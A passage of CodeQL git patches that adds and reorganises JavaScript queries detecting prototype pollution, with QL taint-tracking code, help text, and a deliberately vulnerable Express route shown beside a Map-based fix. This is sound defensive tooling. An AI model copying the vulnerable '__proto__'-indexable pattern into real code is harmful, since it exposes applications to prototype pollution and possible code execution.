WriteLine | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(1): exception(Exception)] call to method WriteLine | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] call to method WriteLine | Finally.cs:244:17:252:17 | try {...} ... | | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA)] call to method WriteLine | Finally.cs:244:17:252:17 | try {...} ... | -| Finally.cs:251:21:251:55 | [finally(2): exception(Exception)] ...; | Finally.cs:244:17:252:17 | try {...} ... | -| Finally.cs:251:21:251:55 | [finally(2): exception(ExceptionA)] ...; | Finally.cs:244:17:252:17 | try {...} ... | -| Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(Exception)] ...; | Finally.cs:244:17:252:17 | try {...} ... | -| Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(ExceptionA)] ...; | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:21:251:55 | [finally(1): exception(Exception)] ...; | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:21:251:55 | [finally(1): exception(ExceptionA)] ...; | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(1): exception(Exception)] ...; | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(1): exception(ExceptionA)] ...; | Finally.cs:244:17:252:17 | try {...} ... | | Finally.cs:251:21:251:55 | [finally: exception(Exception)] ...; | Finally.cs:244:17:252:17 | try {...} ... | -| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(Exception)] ...; | Finally.cs:244:17:252:17 | try {...} ... | -| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] ...; | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(1): exception(Exception)] ...; | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] ...; | Finally.cs:244:17:252:17 | try {...} ... | | Finally.cs:251:21:251:55 | [finally: exception(ExceptionA)] ...; | Finally.cs:244:17:252:17 | try {...} ... | -| Finally.cs:251:39:251:53 | [finally(2): exception(Exception)] "Inner finally" | Finally.cs:244:17:252:17 | try {...} ... | -| Finally.cs:251:39:251:53 | [finally(2): exception(ExceptionA)] "Inner finally" | Finally.cs:244:17:252:17 | try {...} ... | -| Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(Exception)] "Inner finally" | Finally.cs:244:17:252:17 | try {...} ... | -| Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(ExceptionA)] "Inner finally" | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:39:251:53 | [finally(1): exception(Exception)] "Inner finally" | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:39:251:53 | [finally(1): exception(ExceptionA)] "Inner finally" | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(1): exception(Exception)] "Inner finally" | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(1): exception(ExceptionA)] "Inner finally" | Finally.cs:244:17:252:17 | try {...} ... | | Finally.cs:251:39:251:53 | [finally: exception(Exception)] "Inner finally" | Finally.cs:244:17:252:17 | try {...} ... | -| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(Exception)] "Inner finally" | Finally.cs:244:17:252:17 | try {...} ... | -| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] "Inner finally" | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(1): exception(Exception)] "Inner finally" | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] "Inner finally" | Finally.cs:244:17:252:17 | try {...} ... | | Finally.cs:251:39:251:53 | [finally: exception(ExceptionA)] "Inner finally" | Finally.cs:244:17:252:17 | try {...} ... | | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | Finally.cs:235:9:259:9 | try {...} ... | | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | Finally.cs:235:9:259:9 | try {...} ... | From ef52c46aed2307226cb72f6e501141d598a9af4f Mon Sep 17 00:00:00 2001 From: Asger Feldthaus Date: Mon, 23 Nov 2020 16:22:32 +0000 Subject: [PATCH 0156/1241] JS: Add spread step in TaintedObject --- .../ql/src/semmle/javascript/security/TaintedObject.qll | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/javascript/ql/src/semmle/javascript/security/TaintedObject.qll b/javascript/ql/src/semmle/javascript/security/TaintedObject.qll index f36a265326a..f9f02ec95df 100644 --- a/javascript/ql/src/semmle/javascript/security/TaintedObject.qll +++ b/javascript/ql/src/semmle/javascript/security/TaintedObject.qll @@ -63,6 +63,14 @@ module TaintedObject { src = call.getASourceOperand() and trg = call.getDestinationOperand().getALocalSource() ) + or + // Spreading into an object preserves deep object taint: `p -> { ...p }` + inlbl = label() and + outlbl = label() and + exists(ObjectLiteralNode obj | + src = obj.getASpreadProperty() and + trg = obj + ) } /** From 972c4d61e556b4645c5cd9e822d4ef22dd69ab67 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus Date: Mon, 23 Nov 2020 17:28:58 +0000 Subject: [PATCH 0157/1241] JS: Add PrototypePollutingAssignment --- javascript/config/suites/javascript/security | 1 + .../PrototypePollutingAssignment.qhelp | 62 +++++++ .../CWE-471/PrototypePollutingAssignment.ql | 23 +++ .../examples/PrototypePollutingAssignment.js | 11 ++ .../PrototypePollutingAssignmentFixed.js | 12 ++ .../javascript/dataflow/Configuration.qll | 1 + .../dataflow/PrototypePollutingAssignment.qll | 175 ++++++++++++++++++ ...otypePollutingAssignmentCustomizations.qll | 60 ++++++ 8 files changed, 345 insertions(+) create mode 100644 javascript/ql/src/Security/CWE-471/PrototypePollutingAssignment.qhelp create mode 100644 javascript/ql/src/Security/CWE-471/PrototypePollutingAssignment.ql create mode 100644 javascript/ql/src/Security/CWE-471/examples/PrototypePollutingAssignment.js create mode 100644 javascript/ql/src/Security/CWE-471/examples/PrototypePollutingAssignmentFixed.js create mode 100644 javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignment.qll create mode 100644 javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignmentCustomizations.qll diff --git a/javascript/config/suites/javascript/security b/javascript/config/suites/javascript/security index e8575ed8db5..707890e8296 100644 --- a/javascript/config/suites/javascript/security +++ b/javascript/config/suites/javascript/security @@ -39,6 +39,7 @@ + semmlecode-javascript-queries/Security/CWE-352/MissingCsrfMiddleware.ql: /Security/CWE/CWE-352 + semmlecode-javascript-queries/Security/CWE-400/PrototypePollution.ql: /Security/CWE/CWE-400 + semmlecode-javascript-queries/Security/CWE-400/PrototypePollutionUtility.ql: /Security/CWE/CWE-400 ++ semmlecode-javascript-queries/Security/CWE-471/PrototypePollutingAssignment.ql: /Security/CWE/CWE-471 + semmlecode-javascript-queries/Security/CWE-400/RemotePropertyInjection.ql: /Security/CWE/CWE-400 + semmlecode-javascript-queries/Security/CWE-502/UnsafeDeserialization.ql: /Security/CWE/CWE-502 + semmlecode-javascript-queries/Security/CWE-506/HardcodedDataInterpretedAsCode.ql: /Security/CWE/CWE-506 diff --git a/javascript/ql/src/Security/CWE-471/PrototypePollutingAssignment.qhelp b/javascript/ql/src/Security/CWE-471/PrototypePollutingAssignment.qhelp new file mode 100644 index 00000000000..4ba2e9dc2d2 --- /dev/null +++ b/javascript/ql/src/Security/CWE-471/PrototypePollutingAssignment.qhelp @@ -0,0 +1,62 @@ + + + + +

    + Most JavaScript objects inherit the properties of the built-in Object.prototype object. + Prototype pollution is a type of vulnerability in which an attacker is able to modify Object.prototype. + Since most objects inherit from the compromised Object.prototype, the attacker can use this + to tamper with the application logic, and often escalate to remote code execution or cross-site scripting. +

    + +

    + One way to cause prototype pollution is by modifying an object obtained via a user-controlled property name. + Most objects have a special __proto__ property that refers to Object.prototype. + An attacker can abuse this special property to trick the application into performing unintended modifications + of Object.prototype. +

    +
    + + +

    + Use an associative data structure that is resilient to untrusted key values, such as a Map. + In some cases, a prototype-less object created with Object.create(null) + may be preferrable. +

    +

    + Alternatively, restrict the computed property name so it can't clash with a built-in property, either by + prefixing it with a constant string, or by rejecting inputs that don't conform to the expected format. +

    +
    + + +

    + In the example below, the untrusted value req.params.id is used as the property name + req.session.todos[id]. If a malicious user passes in the ID value __proto__, + the variable todo will then refer to Object.prototype. + Finally, the modification of todo then allows the attacker to inject arbitrary properties + onto Object.prototype. +

    + + + +

    + One way to fix this is to use Map objects to associate key/value pairs + instead of regular objects, as shown below: +

    + + + +
    + + +
  • MDN: + Object.prototype.__proto__ +
  • +
  • MDN: + Map +
  • +
    +
    diff --git a/javascript/ql/src/Security/CWE-471/PrototypePollutingAssignment.ql b/javascript/ql/src/Security/CWE-471/PrototypePollutingAssignment.ql new file mode 100644 index 00000000000..1992b8e5014 --- /dev/null +++ b/javascript/ql/src/Security/CWE-471/PrototypePollutingAssignment.ql @@ -0,0 +1,23 @@ +/** + * @name Prototype-polluting assignment + * @description Modifying an object obtained via a user-controlled property name may + * lead to accidental modification of the built-in Object.prototype, + * and possibly escalate to remote code execution or cross-site scripting. + * @kind path-problem + * @problem.severity warning + * @precision high + * @id js/prototype-polluting-assignment + * @tags security + * external/cwe/cwe-250 + * external/cwe/cwe-471 + */ + +import javascript +import semmle.javascript.security.dataflow.PrototypePollutingAssignment::PrototypePollutingAssignment +import DataFlow::PathGraph + +from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink +where cfg.hasFlowPath(source, sink) +select sink, source, sink, + "This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@.", + source.getNode(), "here" diff --git a/javascript/ql/src/Security/CWE-471/examples/PrototypePollutingAssignment.js b/javascript/ql/src/Security/CWE-471/examples/PrototypePollutingAssignment.js new file mode 100644 index 00000000000..d78fc490acd --- /dev/null +++ b/javascript/ql/src/Security/CWE-471/examples/PrototypePollutingAssignment.js @@ -0,0 +1,11 @@ +let express = require('express'); + +express.put('/todos/:id', (req, res) => { + let id = req.params.id; + let items = req.session.todos[id]; + if (!items) { + items = req.session.todos[id] = {}; + } + items[req.query.name] = req.query.text; + res.end(200); +}); diff --git a/javascript/ql/src/Security/CWE-471/examples/PrototypePollutingAssignmentFixed.js b/javascript/ql/src/Security/CWE-471/examples/PrototypePollutingAssignmentFixed.js new file mode 100644 index 00000000000..f010537acf1 --- /dev/null +++ b/javascript/ql/src/Security/CWE-471/examples/PrototypePollutingAssignmentFixed.js @@ -0,0 +1,12 @@ +let express = require('express'); + +express.put('/todos/:id', (req, res) => { + let id = req.params.id; + let items = req.session.todos.get(id); + if (!items) { + items = new Map(); + req.sessions.todos.set(id, items); + } + items.set(req.query.name, req.query.text); + res.end(200); +}); diff --git a/javascript/ql/src/semmle/javascript/dataflow/Configuration.qll b/javascript/ql/src/semmle/javascript/dataflow/Configuration.qll index b0aad4460e1..62f04db9055 100644 --- a/javascript/ql/src/semmle/javascript/dataflow/Configuration.qll +++ b/javascript/ql/src/semmle/javascript/dataflow/Configuration.qll @@ -1281,6 +1281,7 @@ private predicate summarizedHigherOrderCall( DataFlow::Node innerArg, DataFlow::SourceNode cbParm, PathSummary oldSummary | reachableFromInput(f, outer, arg, innerArg, cfg, oldSummary) and + not arg = DataFlow::capturedVariableNode(_) and // Only track actual parameter flow argumentPassing(outer, cb, f, cbParm) and innerArg = inner.getArgument(j) | diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignment.qll b/javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignment.qll new file mode 100644 index 00000000000..eb9359b29ea --- /dev/null +++ b/javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignment.qll @@ -0,0 +1,175 @@ +/** + * Provides a taint tracking configuration for reasoning about + * prototype-polluting assignments. + * + * Note, for performance reasons: only import this file if + * `PrototypePollutingAssignment::Configuration` is needed, otherwise + * `PrototypePollutingAssignmentCustomizations` should be imported instead. + */ + +private import javascript +private import semmle.javascript.DynamicPropertyAccess + +module PrototypePollutingAssignment { + private import PrototypePollutingAssignmentCustomizations::PrototypePollutingAssignment + + // Materialize flow labels + private class ConcreteObjectPrototype extends ObjectPrototype { } + + /** A taint-tracking configuration for reasoning about prototype-polluting assignments. */ + class Configuration extends TaintTracking::Configuration { + Configuration() { this = "PrototypePollutingAssignment" } + + override predicate isSource(DataFlow::Node node) { node instanceof Source } + + override predicate isSink(DataFlow::Node node, DataFlow::FlowLabel lbl) { + node.(Sink).getAFlowLabel() = lbl + } + + override predicate isSanitizer(DataFlow::Node node) { + node instanceof Sanitizer + or + // Concatenating with a string will in practice prevent the string `__proto__` from arising. + node instanceof StringOps::ConcatenationRoot + } + + override predicate isAdditionalFlowStep( + DataFlow::Node pred, DataFlow::Node succ, DataFlow::FlowLabel inlbl, + DataFlow::FlowLabel outlbl + ) { + // Step from x -> obj[x] while switching to the ObjectPrototype label + // (If `x` can have the value `__proto__` then the result can be Object.prototype) + exists(DataFlow::PropRead read | + pred = read.getPropertyNameExpr().flow() and + succ = read and + inlbl.isTaint() and + outlbl instanceof ObjectPrototype and + // Exclude cases where the property name came from a property enumeration. + // If the property name is an own property of the base object, the read won't + // return Object.prototype. + not read = any(EnumeratedPropName n).getASourceProp() and + // Exclude cases where the read has no prototype, or a prototype other than Object.prototype. + not read = prototypeLessObject().getAPropertyRead() and + // Exclude cases where this property has just been assigned to + not read.(DynamicPropRead).hasDominatingAssignment() + ) + or + // Same as above, but for property projection. + exists(PropertyProjection proj | + proj.isSingletonProjection() and + pred = proj.getASelector() and + succ = proj and + inlbl.isTaint() and + outlbl instanceof ObjectPrototype + ) + } + + override predicate isLabeledBarrier(DataFlow::Node node, DataFlow::FlowLabel lbl) { + // Don't propagate the receiver into method calls, as the method lookup will fail on Object.prototype. + node = any(DataFlow::MethodCallNode m).getReceiver() and + lbl instanceof ObjectPrototype + } + + override predicate isSanitizerGuard(TaintTracking::SanitizerGuardNode guard) { + guard instanceof PropertyPresenceCheck or + guard instanceof InExprCheck or + guard instanceof InstanceofCheck or + guard instanceof IsArrayCheck or + guard instanceof EqualityCheck + } + } + + /** Gets a data flow node referring to an object created with `Object.create`. */ + DataFlow::SourceNode prototypeLessObject() { + result = prototypeLessObject(DataFlow::TypeTracker::end()) + } + + private DataFlow::SourceNode prototypeLessObject(DataFlow::TypeTracker t) { + t.start() and + // We assume the argument to Object.create is not Object.prototype, since most + // users wouldn't bother to call Object.create in that case. + result = DataFlow::globalVarRef("Object").getAMemberCall("create") + or + // Allow use of AdditionalFlowSteps and AdditionalTaintSteps to track a bit further + exists(DataFlow::Node mid | + prototypeLessObject(t.continue()).flowsTo(mid) and + any(DataFlow::AdditionalFlowStep s).step(mid, result) + ) + or + exists(DataFlow::TypeTracker t2 | result = prototypeLessObject(t2).track(t2, t)) + } + + /** Holds if `Object.prototype` has a member named `prop`. */ + private predicate isPropertyPresentOnObjectPrototype(string prop) { + exists(ExternalInstanceMemberDecl decl | + decl.getBaseName() = "Object" and + decl.getName() = prop + ) + } + + /** A check of form `e.prop` where `prop` is not present on `Object.prototype`. */ + private class PropertyPresenceCheck extends TaintTracking::LabeledSanitizerGuardNode, + DataFlow::ValueNode { + override PropAccess astNode; + + PropertyPresenceCheck() { not isPropertyPresentOnObjectPrototype(astNode.getPropertyName()) } + + override predicate sanitizes(boolean outcome, Expr e, DataFlow::FlowLabel label) { + e = astNode.getBase() and + outcome = true and + label instanceof ObjectPrototype + } + } + + /** A check of form `"prop" in e` where `prop` is not present on `Object.prototype`. */ + private class InExprCheck extends TaintTracking::LabeledSanitizerGuardNode, DataFlow::ValueNode { + override InExpr astNode; + + InExprCheck() { + not isPropertyPresentOnObjectPrototype(astNode.getLeftOperand().getStringValue()) + } + + override predicate sanitizes(boolean outcome, Expr e, DataFlow::FlowLabel label) { + e = astNode.getRightOperand() and + outcome = true and + label instanceof ObjectPrototype + } + } + + /** A check of form `e instanceof X`, which is always false for `Object.prototype`. */ + private class InstanceofCheck extends TaintTracking::LabeledSanitizerGuardNode, + DataFlow::ValueNode { + override InstanceofExpr astNode; + + override predicate sanitizes(boolean outcome, Expr e, DataFlow::FlowLabel label) { + e = astNode.getLeftOperand() and + outcome = true and + label instanceof ObjectPrototype + } + } + + /** A call to `Array.isArray`, which is false for `Object.prototype`. */ + private class IsArrayCheck extends TaintTracking::LabeledSanitizerGuardNode, DataFlow::CallNode { + IsArrayCheck() { this = DataFlow::globalVarRef("Array").getAMemberCall("isArray") } + + override predicate sanitizes(boolean outcome, Expr e, DataFlow::FlowLabel label) { + e = getArgument(0).asExpr() and + outcome = true and + label instanceof ObjectPrototype + } + } + + /** + * Sanitizer guard of form `x !== "__proto__"`. + */ + private class EqualityCheck extends TaintTracking::SanitizerGuardNode, DataFlow::ValueNode { + override EqualityTest astNode; + + EqualityCheck() { astNode.getAnOperand().getStringValue() = "__proto__" } + + override predicate sanitizes(boolean outcome, Expr e) { + e = astNode.getAnOperand() and + outcome = astNode.getPolarity().booleanNot() + } + } +} diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignmentCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignmentCustomizations.qll new file mode 100644 index 00000000000..f4fa9441bdf --- /dev/null +++ b/javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignmentCustomizations.qll @@ -0,0 +1,60 @@ +/** + * Provides sources, sinks, and sanitizers for reasoning about assignments + * that my cause prototype pollution. + */ + +private import javascript + +/** + * Provides sources, sinks, and sanitizers for reasoning about assignments + * that my cause prototype pollution. + */ +module PrototypePollutingAssignment { + /** + * A data flow source for untrusted data from which the special `__proto__` property name may be arise. + */ + abstract class Source extends DataFlow::Node { } + + /** + * A data flow sink for prototype-polluting assignments or untrusted property names. + */ + abstract class Sink extends DataFlow::Node { + /** + * The flow label relevant for this sink. + * + * Use the `taint` label for untrusted property names, and the `ObjectPrototype` label for + * object mutations. + */ + abstract DataFlow::FlowLabel getAFlowLabel(); + } + + /** + * A sanitizer for untrusted property names. + */ + abstract class Sanitizer extends DataFlow::Node { } + + /** Flow label representing the `Object.prototype` value. */ + abstract class ObjectPrototype extends DataFlow::FlowLabel { + ObjectPrototype() { this = "Object.prototype" } + } + + /** The base of an assignment or extend call, as a sink for `Object.prototype` references. */ + private class DefaultSink extends Sink { + DefaultSink() { + this = any(DataFlow::PropWrite write).getBase() + or + this = any(ExtendCall c).getDestinationOperand() + } + + override DataFlow::FlowLabel getAFlowLabel() { result instanceof ObjectPrototype } + } + + /** A remote flow source or location.{hash,search} as a taint source. */ + private class DefaultSource extends Source { + DefaultSource() { + this instanceof RemoteFlowSource + or + this = DOM::locationRef().getAPropertyRead(["hash", "search"]) + } + } +} From 877b4b0752f02040ab3a65986d49b0e8c322600e Mon Sep 17 00:00:00 2001 From: Asger Feldthaus Date: Wed, 25 Nov 2020 13:12:56 +0000 Subject: [PATCH 0158/1241] JS: Move and rename other prototype pollution queries --- .../PrototypePollutingFunction.qhelp} | 6 +++--- .../PrototypePollutingFunction.ql} | 6 +++--- .../PrototypePollutingMergeCall.qhelp} | 6 +++--- .../PrototypePollutingMergeCall.ql} | 5 +++-- .../examples/PrototypePollutingFunction.js} | 0 .../examples/PrototypePollutingFunction_fixed.js} | 0 .../examples/PrototypePollutingFunction_fixed2.js} | 0 .../examples/PrototypePollutingMergeCall1.js} | 0 .../examples/PrototypePollutingMergeCall2.js} | 0 .../examples/PrototypePollutingMergeCall_fixed.json} | 0 10 files changed, 12 insertions(+), 11 deletions(-) rename javascript/ql/src/Security/{CWE-400/PrototypePollutionUtility.qhelp => CWE-471/PrototypePollutingFunction.qhelp} (93%) rename javascript/ql/src/Security/{CWE-400/PrototypePollutionUtility.ql => CWE-471/PrototypePollutingFunction.ql} (98%) rename javascript/ql/src/Security/{CWE-400/PrototypePollution.qhelp => CWE-471/PrototypePollutingMergeCall.qhelp} (94%) rename javascript/ql/src/Security/{CWE-400/PrototypePollution.ql => CWE-471/PrototypePollutingMergeCall.ql} (86%) rename javascript/ql/src/Security/{CWE-400/examples/PrototypePollutionUtility.js => CWE-471/examples/PrototypePollutingFunction.js} (100%) rename javascript/ql/src/Security/{CWE-400/examples/PrototypePollutionUtility_fixed.js => CWE-471/examples/PrototypePollutingFunction_fixed.js} (100%) rename javascript/ql/src/Security/{CWE-400/examples/PrototypePollutionUtility_fixed2.js => CWE-471/examples/PrototypePollutingFunction_fixed2.js} (100%) rename javascript/ql/src/Security/{CWE-400/examples/PrototypePollution1.js => CWE-471/examples/PrototypePollutingMergeCall1.js} (100%) rename javascript/ql/src/Security/{CWE-400/examples/PrototypePollution2.js => CWE-471/examples/PrototypePollutingMergeCall2.js} (100%) rename javascript/ql/src/Security/{CWE-400/examples/PrototypePollution_fixed.json => CWE-471/examples/PrototypePollutingMergeCall_fixed.json} (100%) diff --git a/javascript/ql/src/Security/CWE-400/PrototypePollutionUtility.qhelp b/javascript/ql/src/Security/CWE-471/PrototypePollutingFunction.qhelp similarity index 93% rename from javascript/ql/src/Security/CWE-400/PrototypePollutionUtility.qhelp rename to javascript/ql/src/Security/CWE-471/PrototypePollutingFunction.qhelp index a6a86043db5..5dfcbd5a4b1 100644 --- a/javascript/ql/src/Security/CWE-400/PrototypePollutionUtility.qhelp +++ b/javascript/ql/src/Security/CWE-471/PrototypePollutingFunction.qhelp @@ -39,7 +39,7 @@ This function recursively copies properties from src to dst:

    - +

    However, if src is the object {"__proto__": {"isAdmin": true}}, @@ -51,13 +51,13 @@ are merged recursively:

    - +

    Alternatively, blacklist the __proto__ and constructor properties:

    - + diff --git a/javascript/ql/src/Security/CWE-400/PrototypePollutionUtility.ql b/javascript/ql/src/Security/CWE-471/PrototypePollutingFunction.ql similarity index 98% rename from javascript/ql/src/Security/CWE-400/PrototypePollutionUtility.ql rename to javascript/ql/src/Security/CWE-471/PrototypePollutingFunction.ql index 4d3c3eb278f..4c0f96fff5d 100644 --- a/javascript/ql/src/Security/CWE-400/PrototypePollutionUtility.ql +++ b/javascript/ql/src/Security/CWE-471/PrototypePollutingFunction.ql @@ -1,7 +1,7 @@ /** - * @name Prototype pollution in utility function - * @description Recursively assigning properties on objects may cause - * accidental modification of a built-in prototype object. + * @name Prototype-polluting function + * @description Functions recursively assigning properties on objects may be + * the cause of accidental modification of a built-in prototype object. * @kind path-problem * @problem.severity warning * @precision high diff --git a/javascript/ql/src/Security/CWE-400/PrototypePollution.qhelp b/javascript/ql/src/Security/CWE-471/PrototypePollutingMergeCall.qhelp similarity index 94% rename from javascript/ql/src/Security/CWE-400/PrototypePollution.qhelp rename to javascript/ql/src/Security/CWE-471/PrototypePollutingMergeCall.qhelp index 44115d991c9..69de438f2dc 100644 --- a/javascript/ql/src/Security/CWE-400/PrototypePollution.qhelp +++ b/javascript/ql/src/Security/CWE-471/PrototypePollutingMergeCall.qhelp @@ -34,7 +34,7 @@ and then copied into a new object:

    - +

    Prior to lodash 4.17.11 this would be vulnerable to prototype pollution. An attacker could send the following GET request: @@ -47,7 +47,7 @@ Fix this by updating the lodash version:

    - +

    Note that some web frameworks, such as Express, parse query parameters using extended URL-encoding @@ -56,7 +56,7 @@ The example below would also be susceptible to prototype pollution:

    - +

    In the above example, an attacker can cause prototype pollution by sending the following GET request: diff --git a/javascript/ql/src/Security/CWE-400/PrototypePollution.ql b/javascript/ql/src/Security/CWE-471/PrototypePollutingMergeCall.ql similarity index 86% rename from javascript/ql/src/Security/CWE-400/PrototypePollution.ql rename to javascript/ql/src/Security/CWE-471/PrototypePollutingMergeCall.ql index 2e7f1f0984d..5a1a3e61f8e 100644 --- a/javascript/ql/src/Security/CWE-400/PrototypePollution.ql +++ b/javascript/ql/src/Security/CWE-471/PrototypePollutingMergeCall.ql @@ -1,7 +1,8 @@ /** - * @name Prototype pollution + * @name Prototype-polluting merge call * @description Recursively merging a user-controlled object into another object - * can allow an attacker to modify the built-in Object prototype. + * can allow an attacker to modify the built-in Object prototype, + * and possibly escalate to remote code execution or cross-site scripting. * @kind path-problem * @problem.severity error * @precision high diff --git a/javascript/ql/src/Security/CWE-400/examples/PrototypePollutionUtility.js b/javascript/ql/src/Security/CWE-471/examples/PrototypePollutingFunction.js similarity index 100% rename from javascript/ql/src/Security/CWE-400/examples/PrototypePollutionUtility.js rename to javascript/ql/src/Security/CWE-471/examples/PrototypePollutingFunction.js diff --git a/javascript/ql/src/Security/CWE-400/examples/PrototypePollutionUtility_fixed.js b/javascript/ql/src/Security/CWE-471/examples/PrototypePollutingFunction_fixed.js similarity index 100% rename from javascript/ql/src/Security/CWE-400/examples/PrototypePollutionUtility_fixed.js rename to javascript/ql/src/Security/CWE-471/examples/PrototypePollutingFunction_fixed.js diff --git a/javascript/ql/src/Security/CWE-400/examples/PrototypePollutionUtility_fixed2.js b/javascript/ql/src/Security/CWE-471/examples/PrototypePollutingFunction_fixed2.js similarity index 100% rename from javascript/ql/src/Security/CWE-400/examples/PrototypePollutionUtility_fixed2.js rename to javascript/ql/src/Security/CWE-471/examples/PrototypePollutingFunction_fixed2.js diff --git a/javascript/ql/src/Security/CWE-400/examples/PrototypePollution1.js b/javascript/ql/src/Security/CWE-471/examples/PrototypePollutingMergeCall1.js similarity index 100% rename from javascript/ql/src/Security/CWE-400/examples/PrototypePollution1.js rename to javascript/ql/src/Security/CWE-471/examples/PrototypePollutingMergeCall1.js diff --git a/javascript/ql/src/Security/CWE-400/examples/PrototypePollution2.js b/javascript/ql/src/Security/CWE-471/examples/PrototypePollutingMergeCall2.js similarity index 100% rename from javascript/ql/src/Security/CWE-400/examples/PrototypePollution2.js rename to javascript/ql/src/Security/CWE-471/examples/PrototypePollutingMergeCall2.js diff --git a/javascript/ql/src/Security/CWE-400/examples/PrototypePollution_fixed.json b/javascript/ql/src/Security/CWE-471/examples/PrototypePollutingMergeCall_fixed.json similarity index 100% rename from javascript/ql/src/Security/CWE-400/examples/PrototypePollution_fixed.json rename to javascript/ql/src/Security/CWE-471/examples/PrototypePollutingMergeCall_fixed.json From 25161ed338bf62b678ae06d4ddc4bd79c134d709 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus Date: Wed, 25 Nov 2020 13:58:58 +0000 Subject: [PATCH 0159/1241] JS: Move all prototype pollution queries to CWE-915 --- .../{CWE-471 => CWE-915}/PrototypePollutingAssignment.qhelp | 0 .../Security/{CWE-471 => CWE-915}/PrototypePollutingAssignment.ql | 0 .../{CWE-471 => CWE-915}/PrototypePollutingFunction.qhelp | 0 .../Security/{CWE-471 => CWE-915}/PrototypePollutingFunction.ql | 0 .../{CWE-471 => CWE-915}/PrototypePollutingMergeCall.qhelp | 0 .../Security/{CWE-471 => CWE-915}/PrototypePollutingMergeCall.ql | 0 .../{CWE-471 => CWE-915}/examples/PrototypePollutingAssignment.js | 0 .../examples/PrototypePollutingAssignmentFixed.js | 0 .../{CWE-471 => CWE-915}/examples/PrototypePollutingFunction.js | 0 .../examples/PrototypePollutingFunction_fixed.js | 0 .../examples/PrototypePollutingFunction_fixed2.js | 0 .../{CWE-471 => CWE-915}/examples/PrototypePollutingMergeCall1.js | 0 .../{CWE-471 => CWE-915}/examples/PrototypePollutingMergeCall2.js | 0 .../examples/PrototypePollutingMergeCall_fixed.json | 0 14 files changed, 0 insertions(+), 0 deletions(-) rename javascript/ql/src/Security/{CWE-471 => CWE-915}/PrototypePollutingAssignment.qhelp (100%) rename javascript/ql/src/Security/{CWE-471 => CWE-915}/PrototypePollutingAssignment.ql (100%) rename javascript/ql/src/Security/{CWE-471 => CWE-915}/PrototypePollutingFunction.qhelp (100%) rename javascript/ql/src/Security/{CWE-471 => CWE-915}/PrototypePollutingFunction.ql (100%) rename javascript/ql/src/Security/{CWE-471 => CWE-915}/PrototypePollutingMergeCall.qhelp (100%) rename javascript/ql/src/Security/{CWE-471 => CWE-915}/PrototypePollutingMergeCall.ql (100%) rename javascript/ql/src/Security/{CWE-471 => CWE-915}/examples/PrototypePollutingAssignment.js (100%) rename javascript/ql/src/Security/{CWE-471 => CWE-915}/examples/PrototypePollutingAssignmentFixed.js (100%) rename javascript/ql/src/Security/{CWE-471 => CWE-915}/examples/PrototypePollutingFunction.js (100%) rename javascript/ql/src/Security/{CWE-471 => CWE-915}/examples/PrototypePollutingFunction_fixed.js (100%) rename javascript/ql/src/Security/{CWE-471 => CWE-915}/examples/PrototypePollutingFunction_fixed2.js (100%) rename javascript/ql/src/Security/{CWE-471 => CWE-915}/examples/PrototypePollutingMergeCall1.js (100%) rename javascript/ql/src/Security/{CWE-471 => CWE-915}/examples/PrototypePollutingMergeCall2.js (100%) rename javascript/ql/src/Security/{CWE-471 => CWE-915}/examples/PrototypePollutingMergeCall_fixed.json (100%) diff --git a/javascript/ql/src/Security/CWE-471/PrototypePollutingAssignment.qhelp b/javascript/ql/src/Security/CWE-915/PrototypePollutingAssignment.qhelp similarity index 100% rename from javascript/ql/src/Security/CWE-471/PrototypePollutingAssignment.qhelp rename to javascript/ql/src/Security/CWE-915/PrototypePollutingAssignment.qhelp diff --git a/javascript/ql/src/Security/CWE-471/PrototypePollutingAssignment.ql b/javascript/ql/src/Security/CWE-915/PrototypePollutingAssignment.ql similarity index 100% rename from 